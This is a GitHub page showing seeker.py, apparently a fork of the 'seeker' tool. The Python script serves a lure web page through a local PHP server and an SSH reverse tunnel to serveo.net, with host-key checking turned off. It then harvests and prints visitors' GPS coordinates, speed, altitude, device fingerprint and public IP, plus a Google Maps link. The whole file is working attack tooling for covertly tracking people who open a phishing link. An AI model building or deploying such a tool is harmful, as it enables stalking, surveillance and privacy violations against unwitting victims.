forked from thewhiteh4t/seeker
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathseeker.py
180 lines (158 loc) · 4.89 KB
/
seeker.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from __future__ import print_function
import os
import sys
import time
import json
import requests
import subprocess as subp
R = '\033[31m' # red
G = '\033[32m' # green
C = '\033[36m' # cyan
W = '\033[0m' # white
swd = os.getcwd()
os.chdir(swd)
result = '{}/template/nearyou/php/result.txt'.format(swd)
info = '{}/template/nearyou/php/info.txt'.format(swd)
site = 'nearyou'
ver = '1.1.2'
if sys.version_info[0] >= 3:
raw_input = input
def banner():
os.system('clear')
print (G +
r''' __
______ ____ ____ | | __ ____ _______
/ ___/_/ __ \_/ __ \ | |/ /_/ __ \\_ __ \
\___ \ \ ___/\ ___/ | < \ ___/ | | \/
/____ > \___ >\___ >|__|_ \ \___ >|__|
\/ \/ \/ \/ \/ ''' + W)
print ('\n' + G + '[>]' + C + ' Created By : ' + W + 'thewhiteh4t')
print (G + '[>]' + C + ' Version : ' + W + ver + '\n')
def network():
try:
requests.get('https://github.com/', timeout = 5)
print (G + '[+]' + C + ' Checking Internet Connection...' + W, end='')
print (G + ' Working' + W + '\n')
except requests.ConnectionError:
print (R + '[!]' + C + ' You are Not Connected to the Internet...Quiting...' + W)
sys.exit()
def serveo():
global api, site, swd
flag = False
print ('\n' + G + '[+]' + C + ' Starting PHP Server...' + W)
with open ('php.log', 'w') as phplog:
subp.Popen(['php', '-S', '127.0.0.1:8080', '-t', '{}/template/'.format(swd)], stderr=phplog, stdout=phplog)
print ('\n' + G + '[+]' + C + ' Getting Serveo URL...' + W + '\n')
with open ('/tmp/serveo.txt', 'w') as tmpfile:
proc = subp.Popen(['ssh', '-oStrictHostKeyChecking=no', '-R', '80:localhost:8080', 'serveo.net'], stdout = tmpfile, stderr = tmpfile, stdin = subp.PIPE)
while True:
time.sleep(2)
with open ('/tmp/serveo.txt', 'r') as tmpfile:
try:
stdout = tmpfile.readlines()
if flag == False:
for elem in stdout:
if 'HTTP' in elem:
elem = elem.split(' ')
url = elem[4].strip()
url = url + '/{}/'.format(site)
print (G + '[+]' + C + ' URL : ' + W + url)
flag = True
else:
pass
elif flag == True:
break
except Exception as e:
print (e)
pass
def wait():
printed = False
while True:
time.sleep(2)
size = os.path.getsize(result)
if size == 0 and printed == False:
print('\n' + G + '[+]' + C + ' Waiting for User Interaction...' + W + '\n')
printed = True
if size > 0:
main()
def main():
global result
try:
with open (info, 'r') as file2:
file2 = file2.read()
json3 = json.loads(file2)
for value in json3['dev']:
print (G + '[+]' + C + ' Device Information : ' + W + '\n')
print (G + '[+]' + C + ' OS : ' + W + value['os'])
print (G + '[+]' + C + ' Platform : ' + W + value['platform'])
try:
print (G + '[+]' + C + ' CPU Cores : ' + W + value['cores'])
except TypeError:
pass
print (G + '[+]' + C + ' RAM : ' + W + value['ram'])
print (G + '[+]' + C + ' GPU Vendor : ' + W + value['vendor'])
print (G + '[+]' + C + ' GPU : ' + W + value['render'])
print (G + '[+]' + C + ' Resolution : ' + W + value['wd'] + 'x' + value['ht'])
print (G + '[+]' + C + ' Browser : ' + W + value['browser'])
print (G + '[+]' + C + ' Public IP : ' + W + value['ip'])
except ValueError:
pass
try:
with open (result, 'r') as file:
file = file.read()
json2 = json.loads(file)
for value in json2['info']:
lat = value['lat']
lon = value['lon']
acc = value['acc']
alt = value['alt']
dir = value['dir']
spd = value['spd']
print ('\n' + G + '[+]' + C + ' Location Information : ' + W + '\n')
print (G + '[+]' + C + ' Latitude : ' + W + lat + C + ' deg')
print (G + '[+]' + C + ' Longitude : ' + W + lon + C + ' deg')
print (G + '[+]' + C + ' Accuracy : ' + W + acc + C + ' m')
if alt == '':
print (R + '[-]' + C + ' Altitude : ' + W + 'Not Available')
else:
print (G + '[+]' + C + ' Altitude : ' + W + alt + C + ' m')
if dir == '':
print (R + '[-]' + C + ' Direction : ' + W + 'Not Available')
else:
print (G + '[+]' + C + ' Direction : ' + W + dir + C + ' deg')
if spd == '':
print (R + '[-]' + C + ' Speed : ' + W + 'Not Available')
else:
print (G + '[+]' + C + ' Speed : ' + W + spd + C + ' m/s')
except ValueError:
error = file
print ('\n' + R + '[-] ' + W + error)
repeat()
def maps():
print ('\n' + G + '[+]' + C + ' Google Maps : ' + W + 'https://www.google.com/maps/place/' + lat + '+' + lon)
repeat()
maps()
def clear():
global result
with open (result, 'w+'): pass
with open (info, 'w+'): pass
def repeat():
clear()
wait()
main()
def quit():
global result
with open (result, 'w+'): pass
os.system('pkill php')
exit()
try:
banner()
network()
serveo()
wait()
main()
except KeyboardInterrupt:
print ('\n' + R + '[!]' + C + ' Keyboard Interrupt.' + W)
quit()